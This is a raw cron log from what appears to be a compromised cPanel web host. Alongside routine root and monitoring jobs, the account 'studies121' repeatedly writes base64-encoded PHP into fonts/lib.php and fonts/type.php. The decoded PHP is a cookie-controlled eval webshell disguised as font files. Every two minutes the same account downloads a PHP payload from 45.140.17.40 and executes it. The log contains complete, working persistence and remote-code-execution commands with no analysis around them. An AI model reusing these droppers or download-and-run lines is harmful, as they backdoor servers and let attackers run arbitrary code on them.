Sep  4 00:31:01 ip-184-168-122-23 CROND[22470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:31:01 ip-184-168-122-23 CROND[22472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:31:01 ip-184-168-122-23 CROND[22475]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 00:31:01 ip-184-168-122-23 CROND[22474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:31:01 ip-184-168-122-23 CROND[22473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:32:01 ip-184-168-122-23 CROND[22636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:32:01 ip-184-168-122-23 CROND[22639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:32:01 ip-184-168-122-23 CROND[22638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:32:01 ip-184-168-122-23 CROND[22641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:32:01 ip-184-168-122-23 CROND[22640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:33:01 ip-184-168-122-23 CROND[22732]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:33:01 ip-184-168-122-23 CROND[22733]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:33:01 ip-184-168-122-23 CROND[22735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:33:01 ip-184-168-122-23 CROND[22736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:34:01 ip-184-168-122-23 CROND[22819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:34:01 ip-184-168-122-23 CROND[22820]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:34:01 ip-184-168-122-23 CROND[22823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:34:01 ip-184-168-122-23 CROND[22826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:34:01 ip-184-168-122-23 CROND[22822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:35:01 ip-184-168-122-23 CROND[22910]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22912]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22914]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:35:02 ip-184-168-122-23 CROND[22918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:35:02 ip-184-168-122-23 CROND[22917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:36:01 ip-184-168-122-23 CROND[23020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:36:02 ip-184-168-122-23 CROND[23023]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:36:02 ip-184-168-122-23 CROND[23022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:36:02 ip-184-168-122-23 CROND[23024]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:36:02 ip-184-168-122-23 CROND[23025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:37:01 ip-184-168-122-23 CROND[23199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:37:01 ip-184-168-122-23 CROND[23202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:37:01 ip-184-168-122-23 CROND[23203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:37:01 ip-184-168-122-23 CROND[23201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:38:01 ip-184-168-122-23 CROND[23285]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:38:01 ip-184-168-122-23 CROND[23286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:38:01 ip-184-168-122-23 CROND[23288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:38:01 ip-184-168-122-23 CROND[23289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:38:01 ip-184-168-122-23 CROND[23291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:39:01 ip-184-168-122-23 CROND[23368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:39:01 ip-184-168-122-23 CROND[23370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:39:01 ip-184-168-122-23 CROND[23372]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 00:39:01 ip-184-168-122-23 CROND[23371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:39:01 ip-184-168-122-23 CROND[23373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:40:02 ip-184-168-122-23 CROND[23464]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23468]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23465]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:40:02 ip-184-168-122-23 CROND[23466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 00:40:02 ip-184-168-122-23 CROND[23473]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 00:41:01 ip-184-168-122-23 CROND[23572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:41:01 ip-184-168-122-23 CROND[23573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:41:01 ip-184-168-122-23 CROND[23577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:41:01 ip-184-168-122-23 CROND[23576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 00:42:01 ip-184-168-122-23 CROND[23744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 00:42:01 ip-184-168-122-23 CROND[23746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 00:42:01 ip-184-168-122-23 CROND[23747]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 00:42:01 ip-184-168-122-23 CROND[23748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 00:42:01 ip-184-168-122-23 CROND[23749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
